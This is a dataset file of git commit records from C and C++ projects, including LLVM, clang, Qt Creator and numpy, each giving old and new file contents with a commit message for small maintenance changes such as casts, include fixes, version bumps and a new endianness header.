{"commit":"bfff95e5e5b548a976340ca405991c61662c104f","old_file":"src\/bitwise.h","new_file":"src\/bitwise.h","old_contents":"#pragma once\n\n#include \"definitions.h\"\n#include \"util\/log.h\"\n\ninline u16 compose_bytes(const u8 high, const u8 low) {\n    return (high << 8) + low;\n}\n\ninline bool check_bit(const u8 value, const int bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline u8 set_bit(const u8 value, const int bit) {\n    return value | (1 << bit);\n}\n\ninline u8 clear_bit(const u8 value, const int bit) {\n    return value & ~(1 << bit);\n}\n\ninline u8 set_bit_to(const u8 value, const int bit, bool bit_on) {\n    if (bit_on) {\n        return set_bit(value, bit);\n    } else {\n        return clear_bit(value, bit);\n    }\n}\n","new_contents":"#pragma once\n\n#include \"definitions.h\"\n#include \"util\/log.h\"\n\ninline u16 compose_bytes(const u8 high, const u8 low) {\n    return static_cast<u16>((high << 8) + low);\n}\n\ninline bool check_bit(const u8 value, const u8 bit) {\n    return (value & (1 << bit)) != 0;\n}\n\ninline u8 set_bit(const u8 value, const u8 bit) {\n    auto value_set = value | (1 << bit);\n    return static_cast<u8>(value_set);\n}\n\ninline u8 clear_bit(const u8 value, const u8 bit) {\n    auto value_cleared = value & ~(1 << bit);\n    return static_cast<u8>(value_cleared);\n}\n\ninline u8 set_bit_to(const u8 value, const u8 bit, bool bit_on) {\n    if (bit_on) {\n        return set_bit(value, bit);\n    } else {\n        return clear_bit(value, bit);\n    }\n}\n","subject":"Make conversions between integer sizes explicit","message":"Make conversions between integer sizes explicit\n","lang":"C","license":"bsd-3-clause","repos":"jgilchrist\/emulator,jgilchrist\/emulator,jgilchrist\/emulator"}
{"commit":"cf4ff469b193f6972cad1b6821ef99d51091e05a","old_file":"test\/Driver\/hello.c","new_file":"test\/Driver\/hello.c","old_contents":"\/\/ RUN: %clang -ccc-echo -o %t %s 2> %t.log\n\n\/\/ Make sure we used clang.\n\/\/ RUN: grep 'clang\" -cc1 .*hello.c' %t.log\n\n\/\/ RUN: %t > %t.out\n\/\/ RUN: grep \"I'm a little driver, short and stout.\" %t.out\n\n\/\/ FIXME: We don't have a usable assembler on Windows, so we can't build real\n\/\/ apps yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\n\nint main() {\n  printf(\"I'm a little driver, short and stout.\");\n  return 0;\n}\n","new_contents":"\/\/ RUN: %clang -ccc-echo -o %t %s 2> %t.log\n\n\/\/ Make sure we used clang.\n\/\/ RUN: grep 'clang\\(-[0-9.]\\+\\)\\?\" -cc1 .*hello.c' %t.log\n\n\/\/ RUN: %t > %t.out\n\/\/ RUN: grep \"I'm a little driver, short and stout.\" %t.out\n\n\/\/ FIXME: We don't have a usable assembler on Windows, so we can't build real\n\/\/ apps yet.\n\/\/ XFAIL: win32\n\n#include <stdio.h>\n\nint main() {\n  printf(\"I'm a little driver, short and stout.\");\n  return 0;\n}\n","subject":"Fix this test case for CMake builds after r126502, which sneakily changed the actual executable name to clang-<version>.","message":"Fix this test case for CMake builds after r126502, which sneakily  changed the actual executable name to clang-<version>.\n\n\ngit-svn-id: ffe668792ed300d6c2daa1f6eba2e0aa28d7ec6c@126560 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,llvm-mirror\/clang,apple\/swift-clang,apple\/swift-clang"}
{"commit":"452bc34d386c7158c042e2059b6a020ddd4a7e7f","old_file":"include\/kiste\/kiste.h","new_file":"include\/kiste\/kiste.h","old_contents":"#ifndef KISS_TEMPLATES_KISTE_H\n#define KISS_TEMPLATES_KISTE_H\n\n#include <kiste\/terminal.h>\n#include <kiste\/raw.h>\n\nnamespace kiste\n{\n  struct terminal_t\n  {\n  };\n  constexpr auto terminal = terminal_t{};\n\n  struct raw\n  {\n    std::ostream& _os;\n\n    template <typename T>\n    auto operator()(T&& t) const -> void\n    {\n      _os << std::forward<T>(t);\n    }\n  };\n}\n\n#endif\n","new_contents":"#ifndef KISS_TEMPLATES_KISTE_H\n#define KISS_TEMPLATES_KISTE_H\n\n#include <kiste\/terminal.h>\n#include <kiste\/raw.h>\n\n#endif\n","subject":"Remove types left over from header split","message":"Remove types left over from header split","lang":"C","license":"bsd-2-clause","repos":"rbock\/kiss-templates,AndiDog\/kiss-templates,rbock\/kiss-templates,AndiDog\/kiss-templates,AndiDog\/kiss-templates,rbock\/kiss-templates"}
{"commit":"21b8bddea55ff726108990263ee30072fcaa9d19","old_file":"include\/llvm\/CodeGen\/MachineFunctionAnalysis.h","new_file":"include\/llvm\/CodeGen\/MachineFunctionAnalysis.h","old_contents":"\/\/===-- MachineFunctionAnalysis.h - Owner of MachineFunctions ----*-C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the MachineFunctionAnalysis class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_MACHINE_FUNCTION_ANALYSIS_H\n#define LLVM_CODEGEN_MACHINE_FUNCTION_ANALYSIS_H\n\n#include \"llvm\/Pass.h\"\n\nnamespace llvm {\n\nclass MachineFunction;\nclass TargetMachine;\n\n\/\/\/ MachineFunctionAnalysis - This class is a Pass that manages a\n\/\/\/ MachineFunction object.\nstruct MachineFunctionAnalysis : public FunctionPass {\nprivate:\n  const TargetMachine &TM;\n  CodeGenOpt::Level OptLevel;\n  MachineFunction *MF;\n\npublic:\n  static char ID;\n  explicit MachineFunctionAnalysis(const TargetMachine &tm,\n                                   CodeGenOpt::Level OL = CodeGenOpt::Default);\n  ~MachineFunctionAnalysis();\n\n  MachineFunction &getMF() const { return *MF; }\n  CodeGenOpt::Level getOptLevel() const { return OptLevel; }\n\nprivate:\n  virtual bool runOnFunction(Function &F);\n  virtual void releaseMemory();\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const;\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","new_contents":"\/\/===-- MachineFunctionAnalysis.h - Owner of MachineFunctions ----*-C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file declares the MachineFunctionAnalysis class.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_MACHINE_FUNCTION_ANALYSIS_H\n#define LLVM_CODEGEN_MACHINE_FUNCTION_ANALYSIS_H\n\n#include \"llvm\/Pass.h\"\n#include \"llvm\/Target\/TargetMachine.h\"\n\nnamespace llvm {\n\nclass MachineFunction;\n\n\/\/\/ MachineFunctionAnalysis - This class is a Pass that manages a\n\/\/\/ MachineFunction object.\nstruct MachineFunctionAnalysis : public FunctionPass {\nprivate:\n  const TargetMachine &TM;\n  CodeGenOpt::Level OptLevel;\n  MachineFunction *MF;\n\npublic:\n  static char ID;\n  explicit MachineFunctionAnalysis(const TargetMachine &tm,\n                                   CodeGenOpt::Level OL = CodeGenOpt::Default);\n  ~MachineFunctionAnalysis();\n\n  MachineFunction &getMF() const { return *MF; }\n  CodeGenOpt::Level getOptLevel() const { return OptLevel; }\n\nprivate:\n  virtual bool runOnFunction(Function &F);\n  virtual void releaseMemory();\n  virtual void getAnalysisUsage(AnalysisUsage &AU) const;\n};\n\n} \/\/ End llvm namespace\n\n#endif\n","subject":"Revert 88957. This file uses CodeGenOpt, which is defined in TargetMachine.h.","message":"Revert 88957. This file uses CodeGenOpt, which is defined in TargetMachine.h.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@88959 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,chubbymaggie\/asap,apple\/swift-llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,llvm-mirror\/llvm,chubbymaggie\/asap,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm"}
{"commit":"272fd3b28f5ebbf20ccf39c511744cb682056434","old_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","new_file":"drivers\/scsi\/qla4xxx\/ql4_version.h","old_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k0\"\n","new_contents":"\/*\n * QLogic iSCSI HBA Driver\n * Copyright (c)  2003-2013 QLogic Corporation\n *\n * See LICENSE.qla4xxx for copyright and licensing details.\n *\/\n\n#define QLA4XXX_DRIVER_VERSION\t\"5.04.00-k1\"\n","subject":"Update driver version to 5.04.00-k1","message":"[SCSI] qla4xxx: Update driver version to 5.04.00-k1\n\nSigned-off-by: Vikas Chaudhary <c251871a64d7d31888eace0406cb3d4c419d5f73@qlogic.com>\nSigned-off-by: James Bottomley <1acebbdca565c7b6b638bdc23b58b5610d1a56b8@Parallels.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs"}
{"commit":"1f0d489fdca7b9cd511ce4e4060389a6e4b41e43","old_file":"include\/problems\/0001-0050\/Problem15.h","new_file":"include\/problems\/0001-0050\/Problem15.h","old_contents":"\/\/===-- problems\/Problem15.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ ProjectEuler.net solutions by Will Mitchell\n\/\/\n\/\/ This file is distributed under the MIT License. See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Problem 15: Lattice paths\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef PROBLEMS_PROBLEM15_H\n#define PROBLEMS_PROBLEM15_H\n\n#include <string>\n\n#include <gmpxx.h>\n\n#include \"..\/Problem.h\"\n\nnamespace problems {\nclass Problem15 : public Problem {\npublic:\n  Problem15() : value(0), solved(false) {}\n  ~Problem15() = default;\n  std::string answer();\n  std::string description() const;\n  void solve();\n\n  \/\/ Simple brute force solution\n  unsigned long long bruteForce(const unsigned long long limit) const;\n\nprivate:\n  \/\/\/ Cached answer\n  mpz_class value;\n  \/\/\/ If cached answer is valid\n  bool solved;\n};\n}\n\n#endif\n","new_contents":"\/\/===-- problems\/Problem15.h ------------------------------------*- C++ -*-===\/\/\n\/\/\n\/\/ ProjectEuler.net solutions by Will Mitchell\n\/\/\n\/\/ This file is distributed under the MIT License. See LICENSE for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Problem 15: Lattice paths\n\/\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n#ifndef PROBLEMS_PROBLEM15_H\n#define PROBLEMS_PROBLEM15_H\n\n#include <string>\n\n#include <gmpxx.h>\n\n#include \"..\/Problem.h\"\n\nnamespace problems {\nclass Problem15 : public Problem {\npublic:\n  Problem15() : value(0), solved(false) {}\n  ~Problem15() = default;\n  std::string answer();\n  std::string description() const;\n  void solve();\n\nprivate:\n  \/\/\/ Cached answer\n  mpz_class value;\n  \/\/\/ If cached answer is valid\n  bool solved;\n};\n}\n\n#endif\n","subject":"Remove extraneous method in Problem 15","message":"Remove extraneous method in Problem 15\n","lang":"C","license":"mit","repos":"wtmitchell\/challenge_problems,wtmitchell\/challenge_problems,wtmitchell\/challenge_problems"}
{"commit":"bcb11829bab091c0e2c8ea4de42cc03aa5359f0c","old_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","new_file":"src\/plugins\/qmldesigner\/components\/formeditor\/abstractcustomtool.h","old_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const QTC_OVERRIDE = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","new_contents":"#ifndef QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n#define QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n\n#include \"abstractformeditortool.h\"\n\nnamespace QmlDesigner {\n\nclass QMLDESIGNERCORE_EXPORT AbstractCustomTool : public QmlDesigner::AbstractFormEditorTool\n{\npublic:\n    AbstractCustomTool();\n\n    void selectedItemsChanged(const QList<FormEditorItem *> &itemList) QTC_OVERRIDE;\n\n    virtual QString name() const = 0;\n\n    virtual int wantHandleItem(const ModelNode &modelNode) const QTC_OVERRIDE = 0;\n};\n\n} \/\/ namespace QmlDesigner\n\n#endif \/\/ QMLDESIGNER_ABSTRACTSINGLESELECTIONTOOL_H\n","subject":"Add name method to custom tools","message":"QmlDesigner.FormEditor: Add name method to custom tools\n\nChange-Id: Icabf454fc49444a5a88c1f5eb84847967f09078e\nReviewed-by: Thomas Hartmann <588ee739c05aab7547907becfd1420d2b7316069@digia.com>\n","lang":"C","license":"lgpl-2.1","repos":"Distrotech\/qtcreator,danimo\/qt-creator,darksylinc\/qt-creator,duythanhphan\/qt-creator,colede\/qtcreator,amyvmiwei\/qt-creator,Distrotech\/qtcreator,malikcjm\/qtcreator,darksylinc\/qt-creator,xianian\/qt-creator,omniacreator\/qtcreator,xianian\/qt-creator,martyone\/sailfish-qtcreator,danimo\/qt-creator,AltarBeastiful\/qt-creator,omniacreator\/qtcreator,colede\/qtcreator,duythanhphan\/qt-creator,malikcjm\/qtcreator,kuba1\/qtcreator,amyvmiwei\/qt-creator,farseerri\/git_code,xianian\/qt-creator,amyvmiwei\/qt-creator,darksylinc\/qt-creator,AltarBeastiful\/qt-creator,kuba1\/qtcreator,malikcjm\/qtcreator,malikcjm\/qtcreator,maui-packages\/qt-creator,xianian\/qt-creator,xianian\/qt-creator,AltarBeastiful\/qt-creator,duythanhphan\/qt-creator,colede\/qtcreator,danimo\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator,martyone\/sailfish-qtcreator,danimo\/qt-creator,Distrotech\/qtcreator,Distrotech\/qtcreator,colede\/qtcreator,maui-packages\/qt-creator,richardmg\/qtcreator,colede\/qtcreator,maui-packages\/qt-creator,danimo\/qt-creator,danimo\/qt-creator,richardmg\/qtcreator,amyvmiwei\/qt-creator,kuba1\/qtcreator,maui-packages\/qt-creator,amyvmiwei\/qt-creator,amyvmiwei\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,malikcjm\/qtcreator,richardmg\/qtcreator,darksylinc\/qt-creator,darksylinc\/qt-creator,darksylinc\/qt-creator,amyvmiwei\/qt-creator,farseerri\/git_code,kuba1\/qtcreator,xianian\/qt-creator,danimo\/qt-creator,maui-packages\/qt-creator,omniacreator\/qtcreator,farseerri\/git_code,xianian\/qt-creator,duythanhphan\/qt-creator,xianian\/qt-creator,AltarBeastiful\/qt-creator,Distrotech\/qtcreator,darksylinc\/qt-creator,duythanhphan\/qt-creator,duythanhphan\/qt-creator,omniacreator\/qtcreator,malikcjm\/qtcreator,duythanhphan\/qt-creator,amyvmiwei\/qt-creator,kuba1\/qtcreator,darksylinc\/qt-creator,martyone\/sailfish-qtcreator,richardmg\/qtcreator,kuba1\/qtcreator,colede\/qtcreator,richardmg\/qtcreator,farseerri\/git_code,kuba1\/qtcreator,omniacreator\/qtcreator,richardmg\/qtcreator,kuba1\/qtcreator,farseerri\/git_code,martyone\/sailfish-qtcreator,AltarBeastiful\/qt-creator,richardmg\/qtcreator,Distrotech\/qtcreator,omniacreator\/qtcreator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator,farseerri\/git_code,xianian\/qt-creator,martyone\/sailfish-qtcreator,kuba1\/qtcreator,colede\/qtcreator,farseerri\/git_code,malikcjm\/qtcreator,Distrotech\/qtcreator,martyone\/sailfish-qtcreator,farseerri\/git_code,omniacreator\/qtcreator,AltarBeastiful\/qt-creator,martyone\/sailfish-qtcreator"}
{"commit":"7683806ea3a16e14e8b7c0c9878f5211b4c8baa5","old_file":"lib\/CodeGen\/Spiller.h","new_file":"lib\/CodeGen\/Spiller.h","old_contents":"\/\/===-- llvm\/CodeGen\/Spiller.h - Spiller -*- C++ -*------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_SPILLER_H\n#define LLVM_CODEGEN_SPILLER_H\n\n#include <vector>\n\nnamespace llvm {\n\n  \/\/\/ Spiller interface.\n  \/\/\/\n  \/\/\/ Implementations are utility classes which insert spill or remat code on\n  \/\/\/ demand.\n  class Spiller {\n  public:\n    virtual ~Spiller() = 0;\n    virtual std::vector<class LiveInterval*> spill(class LiveInterval *li) = 0;\n  };\n\n  \/\/\/ Create and return a spiller object, as specified on the command line.\n  Spiller* createSpiller(class MachineFunction *mf, class LiveIntervals *li,\n                         class VirtRegMap *vrm);\n}\n\n#endif\n","new_contents":"\/\/===-- llvm\/CodeGen\/Spiller.h - Spiller -*- C++ -*------------------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CODEGEN_SPILLER_H\n#define LLVM_CODEGEN_SPILLER_H\n\n#include <vector>\n\nnamespace llvm {\n  struct LiveInterval;\n\n  \/\/\/ Spiller interface.\n  \/\/\/\n  \/\/\/ Implementations are utility classes which insert spill or remat code on\n  \/\/\/ demand.\n  class Spiller {\n  public:\n    virtual ~Spiller() = 0;\n    virtual std::vector<LiveInterval*> spill(class LiveInterval *li) = 0;\n  };\n\n  \/\/\/ Create and return a spiller object, as specified on the command line.\n  Spiller* createSpiller(class MachineFunction *mf, class LiveIntervals *li,\n                         class VirtRegMap *vrm);\n}\n\n#endif\n","subject":"Fix to compile on VS2008.","message":"Fix to compile on VS2008.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@72112 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,chubbymaggie\/asap,apple\/swift-llvm,llvm-mirror\/llvm,chubbymaggie\/asap,llvm-mirror\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,apple\/swift-llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm"}
{"commit":"0469cb5ca56892a1678361ff0856d174f09a7a93","old_file":"numpy\/core\/include\/numpy\/npy_endian.h","new_file":"numpy\/core\/include\/numpy\/npy_endian.h","old_contents":"","new_contents":"#ifndef _NPY_ENDIAN_H_\n#define _NPY_ENDIAN_H_\n\n\/* NPY_BYTE_ORDER is set to the same value as BYTE_ORDER set by glibc in\n * endian.h *\/\n\n#ifdef NPY_HAVE_ENDIAN_H\n        \/* Use endian.h if available *\/\n        #include <endian.h>\n        #define NPY_BYTE_ODER __BYTE_ORDER\n        #if (__BYTE_ORDER == __LITTLE_ENDIAN)\n                #define NPY_LITTLE_ENDIAN\n        #elif (__BYTE_ORDER == __BIG_ENDIAN)\n                #define NPY_BYTE_ODER __BYTE_ORDER\n        #else\n                #error Unknown machine endianness detected.\n        #endif\n#else\n        \/* Set endianness info using target CPU *\/\n        #include \"cpuarch.h\"\n        \n        #if defined(NPY_X86) || defined(NPY_AMD64)\n                        #define NPY_LITTLE_ENDIAN\n                        #define NPY_BYTE_ORDER 1234\n        #elif defined(NPY_PPC) || defined(NPY_SPARC) || defined(NPY_S390) || \\\n              defined(NPY_PA_RISC)\n                        #define NPY_BIG_ENDIAN\n                        #define NPY_BYTE_ORDER 4321\n        #endif\n#endif\n\n#endif\n","subject":"Add a (public) header to set cpu endianness when numpy headers are included instead of setting them at build time.","message":"Add a (public) header to set cpu endianness when numpy headers are included instead of setting them at build time.\n","lang":"C","license":"bsd-3-clause","repos":"endolith\/numpy,madphysicist\/numpy,brandon-rhodes\/numpy,pelson\/numpy,ViralLeadership\/numpy,GaZ3ll3\/numpy,ddasilva\/numpy,rmcgibbo\/numpy,jorisvandenbossche\/numpy,simongibbons\/numpy,ajdawson\/numpy,pdebuyl\/numpy,rgommers\/numpy,AustereCuriosity\/numpy,ogrisel\/numpy,moreati\/numpy,endolith\/numpy,MSeifert04\/numpy,has2k1\/numpy,jakirkham\/numpy,drasmuss\/numpy,leifdenby\/numpy,njase\/numpy,mingwpy\/numpy,hainm\/numpy,rmcgibbo\/numpy,embray\/numpy,ewmoore\/numpy,WarrenWeckesser\/numpy,rmcgibbo\/numpy,maniteja123\/numpy,ahaldane\/numpy,Srisai85\/numpy,GaZ3ll3\/numpy,simongibbons\/numpy,jonathanunderwood\/numpy,jschueller\/numpy,empeeu\/numpy,ddasilva\/numpy,dato-code\/numpy,joferkington\/numpy,chiffa\/numpy,brandon-rhodes\/numpy,jorisvandenbossche\/numpy,mwiebe\/numpy,sinhrks\/numpy,ssanderson\/numpy,anntzer\/numpy,naritta\/numpy,gmcastil\/numpy,chatcannon\/numpy,has2k1\/numpy,felipebetancur\/numpy,kirillzhuravlev\/numpy,kirillzhuravlev\/numpy,pelson\/numpy,nguyentu1602\/numpy,felipebetancur\/numpy,embray\/numpy,leifdenby\/numpy,ajdawson\/numpy,utke1\/numpy,ogrisel\/numpy,kiwifb\/numpy,joferkington\/numpy,cowlicks\/numpy,tdsmith\/numpy,mingwpy\/numpy,tacaswell\/numpy,ChristopherHogan\/numpy,larsmans\/numpy,ahaldane\/numpy,andsor\/numpy,jakirkham\/numpy,ChristopherHogan\/numpy,solarjoe\/numpy,seberg\/numpy,nguyentu1602\/numpy,ssanderson\/numpy,skymanaditya1\/numpy,has2k1\/numpy,jorisvandenbossche\/numpy,trankmichael\/numpy,mhvk\/numpy,mwiebe\/numpy,mathdd\/numpy,MichaelAquilina\/numpy,jonathanunderwood\/numpy,grlee77\/numpy,Yusa95\/numpy,rgommers\/numpy,jakirkham\/numpy,ViralLeadership\/numpy,Anwesh43\/numpy,rajathkumarmp\/numpy,empeeu\/numpy,githubmlai\/numpy,Yusa95\/numpy,jankoslavic\/numpy,mingwpy\/numpy,BabeNovelty\/numpy,WillieMaddox\/numpy,musically-ut\/numpy,andsor\/numpy,Eric89GXL\/numpy,jankoslavic\/numpy,AustereCuriosity\/numpy,pelson\/numpy,mattip\/numpy,dwf\/numpy,endolith\/numpy,pdebuyl\/numpy,moreati\/numpy,bmorris3\/numpy,SunghanKim\/numpy,pbrod\/numpy,matthew-brett\/numpy,dwf\/numpy,pizzathief\/numpy,rhythmsosad\/numpy,GaZ3ll3\/numpy,ContinuumIO\/numpy,ewmoore\/numpy,dch312\/numpy,dato-code\/numpy,felipebetancur\/numpy,GrimDerp\/numpy,sigma-random\/numpy,sonnyhu\/numpy,ahaldane\/numpy,jonathanunderwood\/numpy,ekalosak\/numpy,Srisai85\/numpy,shoyer\/numpy,njase\/numpy,chiffa\/numpy,utke1\/numpy,mathdd\/numpy,githubmlai\/numpy,leifdenby\/numpy,larsmans\/numpy,ChristopherHogan\/numpy,ewmoore\/numpy,joferkington\/numpy,mingwpy\/numpy,tynn\/numpy,SiccarPoint\/numpy,astrofrog\/numpy,sinhrks\/numpy,tdsmith\/numpy,rmcgibbo\/numpy,bmorris3\/numpy,maniteja123\/numpy,Linkid\/numpy,rajathkumarmp\/numpy,stuarteberg\/numpy,Dapid\/numpy,rajathkumarmp\/numpy,numpy\/numpy-refactor,mhvk\/numpy,embray\/numpy,musically-ut\/numpy,solarjoe\/numpy,ChanderG\/numpy,charris\/numpy,hainm\/numpy,ahaldane\/numpy,numpy\/numpy-refactor,nguyentu1602\/numpy,sigma-random\/numpy,mortada\/numpy,nbeaver\/numpy,Srisai85\/numpy,Linkid\/numpy,jankoslavic\/numpy,Eric89GXL\/numpy,SunghanKim\/numpy,pbrod\/numpy,mindw\/numpy,sigma-random\/numpy,Linkid\/numpy,rhythmsosad\/numpy,dch312\/numpy,shoyer\/numpy,ogrisel\/numpy,bertrand-l\/numpy,tynn\/numpy,ogrisel\/numpy,CMartelLML\/numpy,ahaldane\/numpy,stefanv\/numpy,mathdd\/numpy,drasmuss\/numpy,ESSS\/numpy,Yusa95\/numpy,BMJHayward\/numpy,bringingheavendown\/numpy,mhvk\/numpy,has2k1\/numpy,grlee77\/numpy,brandon-rhodes\/numpy,gmcastil\/numpy,KaelChen\/numpy,jorisvandenbossche\/numpy,MSeifert04\/numpy,cjermain\/numpy,cowlicks\/numpy,shoyer\/numpy,mhvk\/numpy,rgommers\/numpy,MaPePeR\/numpy,BabeNovelty\/numpy,argriffing\/numpy,BabeNovelty\/numpy,mattip\/numpy,Linkid\/numpy,groutr\/numpy,GrimDerp\/numpy,dimasad\/numpy,anntzer\/numpy,rherault-insa\/numpy,githubmlai\/numpy,argriffing\/numpy,ajdawson\/numpy,pdebuyl\/numpy,Dapid\/numpy,madphysicist\/numpy,stefanv\/numpy,rhythmsosad\/numpy,ewmoore\/numpy,skymanaditya1\/numpy,CMartelLML\/numpy,drasmuss\/numpy,WarrenWeckesser\/numpy,SunghanKim\/numpy,immerrr\/numpy,MSeifert04\/numpy,mortada\/numpy,SunghanKim\/numpy,numpy\/numpy-refactor,SiccarPoint\/numpy,nbeaver\/numpy,jorisvandenbossche\/numpy,abalkin\/numpy,moreati\/numpy,sinhrks\/numpy,yiakwy\/numpy,grlee77\/numpy,embray\/numpy,WarrenWeckesser\/numpy,pbrod\/numpy,gmcastil\/numpy,MichaelAquilina\/numpy,chiffa\/numpy,NextThought\/pypy-numpy,cjermain\/numpy,ESSS\/numpy,WarrenWeckesser\/numpy,chatcannon\/numpy,tdsmith\/numpy,bertrand-l\/numpy,behzadnouri\/numpy,numpy\/numpy-refactor,rudimeier\/numpy,sinhrks\/numpy,Anwesh43\/numpy,mortada\/numpy,CMartelLML\/numpy,BMJHayward\/numpy,gfyoung\/numpy,kiwifb\/numpy,bringingheavendown\/numpy,dwf\/numpy,stefanv\/numpy,naritta\/numpy,b-carter\/numpy,shoyer\/numpy,Eric89GXL\/numpy,bmorris3\/numpy,ChanderG\/numpy,MSeifert04\/numpy,immerrr\/numpy,pyparallel\/numpy,dimasad\/numpy,anntzer\/numpy,KaelChen\/numpy,cjermain\/numpy,charris\/numpy,GrimDerp\/numpy,pbrod\/numpy,nguyentu1602\/numpy,ViralLeadership\/numpy,mortada\/numpy,grlee77\/numpy,behzadnouri\/numpy,mindw\/numpy,dwillmer\/numpy,BMJHayward\/numpy,MSeifert04\/numpy,ekalosak\/numpy,ChanderG\/numpy,MaPePeR\/numpy,rherault-insa\/numpy,ddasilva\/numpy,andsor\/numpy,sonnyhu\/numpy,jankoslavic\/numpy,dwillmer\/numpy,Yusa95\/numpy,trankmichael\/numpy,simongibbons\/numpy,charris\/numpy,stefanv\/numpy,gfyoung\/numpy,pyparallel\/numpy,rudimeier\/numpy,dimasad\/numpy,KaelChen\/numpy,GrimDerp\/numpy,sonnyhu\/numpy,CMartelLML\/numpy,Dapid\/numpy,dwillmer\/numpy,dimasad\/numpy,seberg\/numpy,dwf\/numpy,skwbc\/numpy,ContinuumIO\/